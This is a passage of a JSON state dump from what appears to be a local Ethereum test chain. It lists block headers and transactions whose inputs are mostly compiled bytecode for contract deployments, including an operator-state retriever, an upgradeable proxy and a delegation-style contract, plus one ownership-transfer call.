6fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","r":"0x363c7f14241cdfc26b710a503266f0cc236dcfaa041c0a45ab3a72335504c51d","s":"0x351be9499103db1ea7cb3d1ca934c1ccd2ea035669a26d272fcf7f883fd82d72","yParity":"0x1","hash":"0x51e3b6ec5dce1003f9129d8ba4e6e8efe484f2334549a0618ce1c15d7e357f5f"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x791240e8d0f175467d9b084713bd756bea5cf56251d6b2ebe161b3d0a71d8f80","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x5fc436e53cc91a695aa9bf0545949669365affd6e0bd08e1e28bf579229ca3c2","transactionsRoot":"0xc676f37d9565888aa1c613d9febdefda5124cf49adcbc16cc5408c64c841fc59","receiptsRoot":"0xc779b45f650bca85e2ff30af80ee51510a6bdf10ff3391ccec811992f3759b50","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000008000000000000000000010100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000001000","difficulty":"0x0","number":"0xb","gasLimit":"0x1c9c380","gasUsed":"0x1a73f4","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x12f07093","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x33","gas":"0xb2fa","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","value":"0x0","accessList":[],"input":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","r":"0x90dcf40fac3bd3bc84c5de77b7be73a9000e03dd71eaaa9de36cb38f0c1d6a72","s":"0x744a735ca78476fdd39a4ca426d287a16c228dedbf93a47c395a8e4747346335","yParity":"0x0","hash":"0xd3871eb6a2abee19230609004acda2e37090663ebffa73f1cc1de44467665fda"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x34","gas":"0x21b8a6","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b50611dcb8061001f6000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c806331b36bd9146100675780633563b0d1146100905780634d2b57fe146100b05780634f739f74146100d05780635c155662146100f0578063cefdc1d414610110575b600080fd5b61007a6100753660046113b8565b610131565b60405161008791906114ac565b60405180910390f35b6100a361009e3660046114e8565b610245565b6040516100879190611653565b6100c36100be3660046116c4565b6106c5565b6040516100879190611713565b6100e36100de3660046117aa565b6107d2565b60405161008791906118ab565b6101036100fe366004611963565b610eea565b60405161008791906119c6565b61012361011e3660046119fe565b6110a8565b604051610087929190611a35565b606081516001600160401b0381111561014c5761014c61134f565b604051908082528060200260200182016040528015610175578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b03166313542a4e8483815181106101a5576101a5611a56565b60200260200101516040518263ffffffff1660e01b81526004016101d891906001600160a01b0391909116815260200190565b602060405180830381865afa1580156101f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102199190611a6c565b82828151811061022b5761022b611a56565b602090810291909101015260010161017b565b5092915050565b60606000846001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015610287573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ab9190611a85565b90506000856001600160a01b0316639e9923c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103119190611a85565b90506000866001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610353573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103779190611a85565b9050600086516001600160401b038111156103945761039461134f565b6040519080825280602002602001820160405280156103c757816020015b60608152602001906001900390816103b25790505b50905060005b87518110156106b95760008882815181106103ea576103ea611a56565b0160200151604051638902624560e01b815260f89190911c6004820181905263ffffffff8a16602483015291506000906001600160a01b03871690638902624590604401600060405180830381865afa15801561044b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104739190810190611aa2565b905080516001600160401b0381111561048e5761048e61134f565b6040519080825280602002602001820160405280156104d957816020015b60408051606081018252600080825260208083018290529282015282526000199092019101816104ac5790505b508484815181106104ec576104ec611a56565b602002602001018190525060005b81518110156106ae576040518060600160405280876001600160a01b03166347b314e885858151811061052f5761052f611a56565b60200260200101516040518263ffffffff1660e01b815260040161055591815260200190565b602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105969190611a85565b6001600160a01b031681526020018383815181106105b6576105b6611a56565b60200260200101518152602001896001600160a01b031663fa28c6278585815181106105e4576105e4611a56565b60209081029190910101516040516001600160e01b031960e084901b168152600481019190915260ff8816602482015263ffffffff8f166044820152606401602060405180830381865afa158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190611b37565b6001600160601b031681525085858151811061068257610682611a56565b6020026020010151828151811061069b5761069b611a56565b60209081029190910101526001016104fa565b5050506001016103cd565b50979650505050505050565b606081516001600160401b038111156106e0576106e061134f565b604051908082528060200260200182016040528015610709578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b031663296bb06484838151811061073957610739611a56565b60200260200101516040518263ffffffff1660e01b815260040161075f91815260200190565b602060405180830381865afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611a85565b8282815181106107b2576107b2611a56565b6001600160a01b039092166020928302919091019091015260010161070f565b6107fd6040518060800160405280606081526020016060815260200160608152602001606081525090565b6000876001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611a85565b905061088e6040518060800160405280606081526020016060815260200160608152602001606081525090565b6040516361c8a12f60e11b81526001600160a01b038a169063c391425e906108be908b9089908990600401611b60565b600060405180830381865afa1580156108db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109039190810190611ba7565b81526040516340e03a8160e11b81526001600160a01b038316906381c0750290610935908b908b908b90600401611c64565b600060405180830381865afa158015610952573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261097a9190810190611ba7565b6040820152856001600160401b038111156109975761099761134f565b6040519080825280602002602001820160405280156109ca57816020015b60608152602001906001900390816109b55790505b50606082015260005b60ff8116871115610dfb576000856001600160401b038111156109f8576109f861134f565b604051908082528060200260200182016040528015610a21578160200160208202803683370190505b5083606001518360ff1681518110610a3b57610a3b611a56565b602002602001018190525060005b86811015610d055760008c6001600160a01b03166304ec63518a8a85818110610a7457610a74611a56565b905060200201358e88600001518681518110610a9257610a92611a56565b60200260200101516040518463ffffffff1660e01b8152600401610acf9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190611c8d565b9050806001600160c01b0316600003610bbb5760405162461bcd60e51b815260206004820152605c60248201527f4f70657261746f7253746174655265747269657665722e676574436865636b5360448201527f69676e617475726573496e64696365733a206f70657261746f72206d7573742060648201527f6265207265676973746572656420617420626c6f636b6e756d62657200000000608482015260a40160405180910390fd5b8a8a8560ff16818110610bd057610bd0611a56565b60016001600160c01b038516919093013560f81c1c82169091039050610cfc57856001600160a01b031663dd9846b98a8a85818110610c1157610c11611a56565b905060200201358d8d8860ff16818110610c2d57610c2d611a56565b6040516001600160e01b031960e087901b1681526004810194909452919091013560f81c60248301525063ffffffff8f166044820152606401602060405180830381865afa158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca79190611cb6565b85606001518560ff1681518110610cc057610cc0611a56565b60200260200101518481518110610cd957610cd9611a56565b63ffffffff9092166020928302919091019091015282610cf881611ce9565b9350505b50600101610a49565b506000816001600160401b03811115610d2057610d2061134f565b604051908082528060200260200182016040528015610d49578160200160208202803683370190505b50905060005b82811015610dc05784606001518460ff1681518110610d7057610d70611a56565b60200260200101518181518110610d8957610d89611a56565b6020026020010151828281518110610da357610da3611a56565b63ffffffff90921660209283029190910190910152600101610d4f565b508084606001518460ff1681518110610ddb57610ddb611a56565b602002602001018190525050508080610df390611d02565b9150506109d3565b506000896001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e609190611a85565b60405163354952a360e21b81529091506001600160a01b0382169063d5254a8c90610e93908b908b908e90600401611d21565b600060405180830381865afa158015610eb0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ed89190810190611ba7565b60208301525098975050505050505050565b60606000846001600160a01b031663c391425e84866040518363ffffffff1660e01b8152600401610f1c929190611d4b565b600060405180830381865afa158015610f39573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f619190810190611ba7565b9050600084516001600160401b03811115610f7e57610f7e61134f565b604051908082528060200260200182016040528015610fa7578160200160208202803683370190505b50905060005b855181101561109e57866001600160a01b03166304ec6351878381518110610fd757610fd7611a56565b602002602001015187868581518110610ff257610ff2611a56565b60200260200101516040518463ffffffff1660e01b815260040161102f9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190611c8d565b6001600160c01b031682828151811061108b5761108b611a56565b6020908102919091010152600101610fad565b5095945050505050565b60408051600180825281830190925260009160609183916020808301908036833701905050905084816000815181106110e3576110e3611a56565b60209081029190910101526040516361c8a12f60e11b81526000906001600160a01b0388169063c391425e9061111f9088908690600401611d4b565b600060405180830381865afa15801561113c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526111649190810190611ba7565b60008151811061117657611176611a56565b60209081029190910101516040516304ec635160e01b81526004810188905263ffffffff87811660248301529091166044820181905291506000906001600160a01b038916906304ec635190606401602060405180830381865afa1580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112069190611c8d565b6001600160c01b03169050600061121c8261123a565b90508161122a8a838a610245565b9550955050505050935093915050565b606060008061124884611306565b61ffff166001600160401b038111156112635761126361134f565b6040519080825280601f01601f19166020018201604052801561128d576020820181803683370190505b5090506000805b8251821080156112a5575061010081105b156112fc576001811b9350858416156112ec578060f81b8383815181106112ce576112ce611a56565b60200101906001600160f81b031916908160001a9053508160010191505b6112f581611ce9565b9050611294565b5090949350505050565b6000805b82156113315761131b600184611d6a565b909216918061132981611d7d565b91505061130a565b92915050565b6001600160a01b038116811461134c57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561138d5761138d61134f565b604052919050565b60006001600160401b038211156113ae576113ae61134f565b5060051b60200190565b600080604083850312156113cb57600080fd5b82356113d681611337565b915060208301356001600160401b038111156113f157600080fd5b8301601f8101851361140257600080fd5b803561141561141082611395565b611365565b8082825260208201915060208360051b85010192508783111561143757600080fd5b6020840193505b8284101561146257833561145181611337565b82526020938401939091019061143e565b809450505050509250929050565b600081518084526020840193506020830160005b828110156114a2578151865260209586019590910190600101611484565b5093949350505050565b6020815260006114bf6020830184611470565b9392505050565b63ffffffff8116811461134c57600080fd5b80356114e3816114c6565b919050565b6000806000606084860312156114fd57600080fd5b833561150881611337565b925060208401356001600160401b0381111561152357600080fd5b8401601f8101861361153457600080fd5b80356001600160401b0381111561154d5761154d61134f565b611560601f8201601f1916602001611365565b81815287602083850101111561157557600080fd5b8160208401602083013760006020838301015280945050505061159a604085016114d8565b90509250925092565b600082825180855260208501945060208160051b8301016020850160005b8381101561164757848303601f190188528151805180855260209182019185019060005b8181101561162e57835180516001600160a01b03168452602080820151818601526040918201516001600160601b031691850191909152909301926060909201916001016115e5565b50506020998a01999094509290920191506001016115c1565b50909695505050505050565b6020815260006114bf60208301846115a3565b600082601f83011261167757600080fd5b813561168561141082611395565b8082825260208201915060208360051b8601019250858311156116a757600080fd5b602085015b8381101561109e5780358352602092830192016116ac565b600080604083850312156116d757600080fd5b82356116e281611337565b915060208301356001600160401b038111156116fd57600080fd5b61170985828601611666565b9150509250929050565b602080825282518282018190526000918401906040840190835b818110156117545783516001600160a01b031683526020938401939092019160010161172d565b509095945050505050565b60008083601f84011261177157600080fd5b5081356001600160401b0381111561178857600080fd5b6020830191508360208260051b85010111156117a357600080fd5b9250929050565b600080600080600080608087890312156117c357600080fd5b86356117ce81611337565b955060208701356117de816114c6565b945060408701356001600160401b038111156117f957600080fd5b8701601f8101891361180a57600080fd5b80356001600160401b0381111561182057600080fd5b89602082840101111561183257600080fd5b6020919091019450925060608701356001600160401b0381111561185557600080fd5b61186189828a0161175f565b979a9699509497509295939492505050565b600081518084526020840193506020830160005b828110156114a257815163ffffffff16865260209586019590910190600101611887565b6020815260008251608060208401526118c760a0840182611873565b90506020840151601f198483030160408501526118e48282611873565b9150506040840151601f198483030160608501526119028282611873565b6060860151858203601f190160808701528051808352919350602090810192508084019190600582901b85010160005b828110156106b957601f1986830301845261194e828651611873565b60209586019594909401939150600101611932565b60008060006060848603121561197857600080fd5b833561198381611337565b925060208401356001600160401b0381111561199e57600080fd5b6119aa86828701611666565b92505060408401356119bb816114c6565b809150509250925092565b602080825282518282018190526000918401906040840190835b818110156117545783518352602093840193909201916001016119e0565b600080600060608486031215611a1357600080fd5b8335611a1e81611337565b92506020840135915060408401356119bb816114c6565b828152604060208201526000611a4e60408301846115a3565b949350505050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a7e57600080fd5b5051919050565b600060208284031215611a9757600080fd5b81516114bf81611337565b600060208284031215611ab457600080fd5b81516001600160401b03811115611aca57600080fd5b8201601f81018413611adb57600080fd5b8051611ae961141082611395565b8082825260208201915060208360051b850101925086831115611b0b57600080fd5b6020840193505b82841015611b2d578351825260209384019390910190611b12565b9695505050505050565b600060208284031215611b4957600080fd5b81516001600160601b03811681146114bf57600080fd5b63ffffffff84168152604060208201819052810182905260006001600160fb1b03831115611b8d57600080fd5b8260051b8085606085013791909101606001949350505050565b600060208284031215611bb957600080fd5b81516001600160401b03811115611bcf57600080fd5b8201601f81018413611be057600080fd5b8051611bee61141082611395565b8082825260208201915060208360051b850101925086831115611c1057600080fd5b6020840193505b82841015611b2d578351611c2a816114c6565b825260209384019390910190611c17565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b63ffffffff84168152604060208201526000611c84604083018486611c3b565b95945050505050565b600060208284031215611c9f57600080fd5b81516001600160c01b03811681146114bf57600080fd5b600060208284031215611cc857600080fd5b81516114bf816114c6565b634e487b7160e01b600052601160045260246000fd5b600060018201611cfb57611cfb611cd3565b5060010190565b600060ff821660ff8103611d1857611d18611cd3565b60010192915050565b604081526000611d35604083018587611c3b565b905063ffffffff83166020830152949350505050565b63ffffffff83168152604060208201526000611a4e6040830184611470565b8181038181111561133157611331611cd3565b600061ffff821661ffff8103611d1857611d18611cd356fea26469706673582212203ceaa31e26ee89f9b04510d27276b123d7e9898815c3676df946ec33eef62bb664736f6c634300081c0033","r":"0x6b278bd299a8550b46c891112213a783e150f0c6ec16dc682159a47893360954","s":"0x679ddbd8e1a84c5b7335dfc941e3d334be7466495245d48ac090cde483eee0be","yParity":"0x0","hash":"0x154e9258d0a82c45aa9cd648a79ce782024b96b4dc5934da8f62c8511b1d53f9"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x2465bb6de9b0073caa5fe1cfb498c2bc831cc45badaa467b422948466e290767","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x276fa97ba4f982f83e991b459924e8c546c0182d914b03f5f7a9e9ae8dcc25f1","transactionsRoot":"0xe4de0e1967f9f359ffbcdbf82a6e36c1b64b97fdb54667a6789f32475adba769","receiptsRoot":"0xfc912922b1e8e658560a8769df0c1b6a5cbd2c8f435ba057e2d8b9ffcc7917c3","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000040000000000000800000000000000000000000000000000040000000000000000000000000000000008000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x5","gasLimit":"0x1c9c380","gasUsed":"0x8bf2e","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x24314552","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x8","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x637333098e02f7dc20a74251a554e685aeda89836139e106fb3894b4db59f76d","s":"0x70b0711bcf0df6b3e00bb152df5bab575d2945e76848f9a3cdc9ad33f1fb468","yParity":"0x1","hash":"0xa08de92bbb1ad733fc0a8c40fa54118c643385190c6953b3cb0aee8b32f185fd"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xcc97307be35f5f2699f45dfdf7700f341711b7411b59bdda05f72078f8d49333","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x126a722d65bf6983e4a32b45565756c22c8fc5b09bdb66341779699820ef1128","transactionsRoot":"0xd976abd5d4a1e65456aa4b97e8d008b3eebe81baa3d7db1b941b871d44bca4df","receiptsRoot":"0x0bb7fad9b80eba480248a78d60604d27fc039de240d3ba99f6e43b3683fe6bae","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000480000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000020000000000400000000000","difficulty":"0x0","number":"0x8","gasLimit":"0x1c9c380","gasUsed":"0x92cf5b","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x19c9e176","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xc","gas":"0x643a2f","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b03908116600090815260996020526040902060010154169056